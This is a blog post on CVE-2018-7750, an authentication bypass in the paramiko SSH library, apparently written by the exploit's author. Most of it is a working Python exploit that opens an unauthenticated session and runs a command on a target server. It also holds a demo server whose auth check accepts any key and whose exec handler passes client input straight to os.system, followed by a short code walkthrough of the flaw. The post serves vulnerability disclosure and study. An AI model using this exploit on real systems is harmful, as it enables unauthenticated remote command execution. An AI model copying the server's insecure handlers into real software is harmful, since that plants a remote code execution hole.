paramiko logo

paramiko has an auth bypass vuln (found in March 2018), ie. CVE-2018-7750

which can be leveraged to execute arbitrary command (if the ssh server implementation supports command execution)

affects

anything that uses paramiko for ssh implementation, we can do things on it, unauthed

exploit

https://github.com/jm33-m0/CVE-2018-7750

# Exploit Title: Paramiko < 2.4.1 - Remote Code Execution
# Date: 2018-11-06
# Exploit Author: jm33-ng
# Vendor Homepage: https://www.paramiko.org
# Software Link: https://github.com/paramiko/paramiko/archive/2.4.0.tar.gz
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1
# Tested on: Multiple platforms
# CVE: CVE-2018-7750

# This PoC provides a way to execute arbitrary commands via paramiko SSH server, using CVE-2018-7750.
# Details about CVE-2018-7750: https://github.com/paramiko/paramiko/issues/1175
# The original PoC, which makes use of SFTP, can be found at https://www.exploit-db.com/exploits/45712

#!/usr/bin/python3
import sys
import paramiko

host = '127.0.0.1'  # ip of paramiko ssh server target
port = 2222
cmd = "touch /tmp/pwn"

trans = paramiko.Transport((host, port))
trans.start_client()
session = trans.open_session()

try:
    session.exec_command(cmd)
    print("exec: ", cmd)
except BaseException:
    sys.exit(1)

print("if you see this, you have exploited CVE-2018-7750")

and the demo ssh server implementation:

based on the work by cschwede: https://gist.github.com/cschwede/3e2c025408ab4af531651098331cce45

# https://gist.github.com/cschwede/3e2c025408ab4af531651098331cce45

#!/usr/bin/env python
import logging
import socket
import sys
import threading
import os

import paramiko

logging.basicConfig()
logger = logging.getLogger()

if len(sys.argv) != 2:
    print "Need private host RSA key as argument."
    sys.exit(1)

host_key = paramiko.RSAKey(filename=sys.argv[1])


class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED

    def check_auth_publickey(self, username, key):
        return paramiko.AUTH_SUCCESSFUL

    def get_allowed_auths(self, username):
        return 'publickey'

    def check_channel_exec_request(self, channel, command):
        # This is the command we need to parse
        print "exec: " + command
        os.system(command)
        self.event.set()
        return True


def listener():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', 2222))

    sock.listen(100)
    client, addr = sock.accept()

    t = paramiko.Transport(client)
    t.set_gss_host(socket.getfqdn(""))
    t.load_server_moduli()
    t.add_server_key(host_key)
    server = Server()
    t.start_server(server=server)

    # Wait 30 seconds for a command
    server.event.wait(30)
    t.close()


while True:
    try:
        print "server started on 0.0.0.0:2222"
        listener()
    except KeyboardInterrupt:
        sys.exit(0)
    except Exception as exc:
        logger.error(exc)

how it works

lets start with how our sample server handles ssh clients:

sample server

as you can see, paramiko uses paramiko.Transport object for connection purposes

lets dig in:

start server

start_server method of Transport starts a separate thread using threading (built-in) module, which calls run method of the object itself:

start

and the run method is as follows:

run

lets follow its path:

handler tab

so run just runs whatever params given, without verifying whether its been authenticated

now we know how paramiko handles client connections:

if a client doesnt offer any auth, uses Transport directly, then according to the above screenshots, paramiko.Transport wont care if the client has been authed, it just runs whatever the client asks, allowing proceeding without any auth

poc


Comments

comments powered by Disqus